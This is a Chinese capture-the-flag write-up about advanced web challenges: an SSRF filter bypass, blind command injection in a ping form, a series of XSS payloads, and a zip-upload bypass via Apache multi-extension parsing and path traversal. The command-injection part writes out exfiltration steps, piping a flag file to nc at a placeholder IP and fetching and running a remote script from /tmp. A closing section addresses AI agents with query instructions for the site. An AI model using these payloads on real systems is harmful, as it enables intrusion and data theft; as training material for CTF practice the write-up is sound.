# WEB进阶1

### SSRF 漏洞

#### **SSRF Training**

```php
<?php 
highlight_file(__FILE__);
function check_inner_ip($url) 
{ 
    $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); 
    if (!$match_result) 
    { 
        die('url fomat error'); 
    } 
    try 
    { 
        $url_parse=parse_url($url); 
    } 
    catch(Exception $e) 
    { 
        die('url fomat error'); 
        return false; 
    } 
    $hostname=$url_parse['host']; 
    $ip=gethostbyname($hostname); 
    $int_ip=ip2long($ip); 
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; 
} 

function safe_request_url($url) 
{ 
     
    if (check_inner_ip($url)) 
    { 
        echo $url.' is inner ip'; 
    } 
    else 
    {
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_HEADER, 0); 
        $output = curl_exec($ch); 
        $result_info = curl_getinfo($ch); 
        if ($result_info['redirect_url']) 
        { 
            safe_request_url($result_info['redirect_url']); 
        } 
        curl_close($ch); 
        var_dump($output); 
    } 
     
} 

$url = $_GET['url']; 
if(!empty($url)){ 
    safe_request_url($url); 
} 

?>
```

正则匹配：

```
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
```

写一个脚本测试：

```php
<?php
$url = 'http://a:127.0.0.1:80@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
```

回显：

```php
Array
(
    [scheme] => http
    [host] => hostname
    [user] => a
    [pass] => 127.0.0.1:80
    [path] => /path
    [query] => arg=value
    [fragment] => anchor
)
/path
```

check检测到的值为\['host']:[www.baidu.com，而curl抓到的值为127.0.0.1，从而进行绕过。](http://www.baidu.com，而curl抓到的值为127.0.0.1，从而进行绕过。)

```
http://a:@127.0.0.1:80@www.baidu.com/flag.php
```

### 命令执行漏洞

#### **死亡ping命令**

ping命令执行，但是没有回显。

存在WAF过滤字符，通过%0a绕过过滤并拼接命令，由于没有回显，只能考虑外带。

wp中使用了curl外带的方式。

编辑1.sh

```
ls
cat /FLAG | nc xx.xx.xxx.xx 8089
```

执行Ping命令

```
ip=127.0.0.1%0acurl+xx.xx.xxx.xx/1.sh+>+/tmp/1.sh
```

给bash添加权限

```
127.0.0.1%0achmod+777+/tmp/1.sh
```

监听

```
nc -lnvp 8089
```

执行bash文件

```
127.0.0.1%0ash+/tmp/1.sh
```

### XSS的魔力

#### **XSS闯关**

payload1:

```
?username=<script>alert(1);</script>
```

payload2:

XSS语句已经在script中，直接闭合后alert

```
?username=xss%27;alert(1);//
```

payload3:

DOMXSS，插入img

```
?username=xss<img%20onerror=alert(1)%20src=1>
```

payload4:

js跳转，使用javascript伪协议

```
?jumpUrl=javascript:alert()
```

payload5:

表单自动提交，action可控，提交到伪协议。

```
?action=javascript:alert()&autosubmit=1
```

payload6:

angular二次渲染导致XSS：

```
?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
```

### WEB文件上传漏洞

#### **文件上传**

这题还是让我学到了不少技巧的。

<pre><code>&#x3C;?php
header("Content-Type:text/html; charset=utf-8");
// 每5分钟会清除一次目录下上传的文件
require_once('pclzip.lib.php');

if(!$_FILES){

        echo '

&#x3C;!DOCTYPE html>
&#x3C;html lang="zh">
&#x3C;head>
    &#x3C;meta charset="UTF-8" />
    &#x3C;meta name="viewport" content="width=device-width, initial-scale=1.0" />
    &#x3C;meta http-equiv="X-UA-Compatible" content="ie=edge" />
    &#x3C;title>文件上传章节练习题&#x3C;/title>
    &#x3C;link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@3.3.7/dist/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
    &#x3C;style type="text/css">
        .login-box{
            margin-top: 100px;
            height: 500px;
            border: 1px solid #000;
        }
        body{
            background: white;
        }
        .btn1{
            width: 200px;
        }
        .d1{
            display: block;
            height: 400px;
        }
    &#x3C;/style>
&#x3C;/head>
&#x3C;body>
    &#x3C;div class="container">
        &#x3C;div class="login-box col-md-12">
        &#x3C;form class="form-horizontal" method="post" enctype="multipart/form-data" >
<strong>            &#x3C;h1>文件上传章节练习题&#x3C;/h1>
</strong>            &#x3C;hr />
            &#x3C;div class="form-group">
                &#x3C;label class="col-sm-2 control-label">选择文件：&#x3C;/label>
                &#x3C;div class="input-group col-sm-10">
                    &#x3C;div >
                    &#x3C;label for="">
                        &#x3C;input type="file" name="file" />
                    &#x3C;/label>
                    &#x3C;/div>
                &#x3C;/div>
            &#x3C;/div>
                
        &#x3C;div class="col-sm-8  text-right">
            &#x3C;input type="submit" class="btn btn-success text-right btn1" />
        &#x3C;/div>
        &#x3C;/form>
        &#x3C;/div>
    &#x3C;/div>
&#x3C;/body>
&#x3C;/html>
';

    show_source(__FILE__);
}else{
    $file = $_FILES['file'];

    if(!$file){
        exit("请勿上传空文件");
    }
    $name = $file['name'];

    $dir = 'upload/';
    $ext = strtolower(substr(strrchr($name, '.'), 1));
    $path = $dir.$name;

    function check_dir($dir){
        $handle = opendir($dir);
        while(($f = readdir($handle)) !== false){
            if(!in_array($f, array('.', '..'))){
                if(is_dir($dir.$f)){
                    check_dir($dir.$f.'/');
                 }else{
                    $ext = strtolower(substr(strrchr($f, '.'), 1));
                    if(!in_array($ext, array('jpg', 'gif', 'png'))){
                        unlink($dir.$f);
                    }
                }
            
            }
        }
    }

    if(!is_dir($dir)){
        mkdir($dir);
    }

    $temp_dir = $dir.md5(time(). rand(1000,9999));
    if(!is_dir($temp_dir)){
        mkdir($temp_dir);
    }

    if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){
        if($ext == 'zip'){
            $archive = new PclZip($file['tmp_name']);
            foreach($archive->listContent() as $value){
                $filename = $value["filename"];
                if(preg_match('/\.php$/', $filename)){
                     exit("压缩包内不允许含有php文件!");
                 }
            }
            if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
                check_dir($dir);
                   exit("解压失败");
            }

            check_dir($dir);
            exit('上传成功!');
        }else{
            move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);
            check_dir($dir);
            exit('上传成功!');
        }
    }else{
        exit('仅允许上传zip、jpg、gif、png文件!');
    }
}
</code></pre>

代码比较长，重新排版审计一下，留下关键WAF函数

```
<?php
header("Content-Type:text/html; charset=utf-8");
// 每5分钟会清除一次目录下上传的文件
require_once('pclzip.lib.php');


    $file = $_FILES['file'];
    // 空文件上传检测
    if(!$file){
        exit("请勿上传空文件");
    }
    $name = $file['name'];

    $dir = 'upload/';
    $ext = strtolower(substr(strrchr($name, '.'), 1));
    $path = $dir.$name;

    function check_dir($dir){
        $handle = opendir($dir);
        while(($f = readdir($handle)) !== false){
            if(!in_array($f, array('.', '..'))){
                if(is_dir($dir.$f)){
                    check_dir($dir.$f.'/');
                 }else{
                    $ext = strtolower(substr(strrchr($f, '.'), 1));
                    if(!in_array($ext, array('jpg', 'gif', 'png'))){
                        unlink($dir.$f);
                    }
                }
            
            }
        }
    }

    if(!is_dir($dir)){
        mkdir($dir);
    }

    $temp_dir = $dir.md5(time(). rand(1000,9999)); // 解压到随机生成的目录，不能使用条件竞争
    if(!is_dir($temp_dir)){
        mkdir($temp_dir);
    }

    if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){ // 白名单验证后缀
        if($ext == 'zip'){
            $archive = new PclZip($file['tmp_name']);
            foreach($archive->listContent() as $value){
                $filename = $value["filename"];
                if(preg_match('/\.php$/', $filename)){ //过滤zip文件中的php文件，但是有$，可以用其他后缀绕过
                     exit("压缩包内不允许含有php文件!");
                 }
            }
            if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) { // 解压zip中文件
                check_dir($dir);
                   exit("解压失败");
            }

            check_dir($dir); // 再次检测文件
            exit('上传成功!');
        }else{
            move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);
            check_dir($dir); 
            exit('上传成功!');
        }
    }else{
        exit('仅允许上传zip、jpg、gif、png文件!');
    }
```

简单概括一下WAF，首先是有一个白名单后缀检测，只允许上传图片以及压缩包；且如果压缩包的后缀以php结尾，就会解压失败并报错。解压结束后，再次调用检查函数对该压缩包解压出的文件进行删除。考虑这里可能会存在条件竞争。

接着往下分析，解压目录在一个随机生成的文件夹下，所以没有办法进行条件竞争，无法获取到文件夹的名字。

这里用到的第一个漏洞就是Apache多后缀文件解析漏洞，这个漏洞已经烂大街了就不解释了，版本号在1.x到2.x之间，刚好符合。

由于解压后会再次调用检查函数在随机生成的文件夹下进行扫描，看似无解，但是可以利用目录穿越的骚姿势绕过。压缩后，使用010 Editor修改文件名。

穿越目录上传后访问根目录下文件即可获得flag。


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook-88.gitbook.io/ctf-writeup/ba-chang/n1book/web-jin-jie-1.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
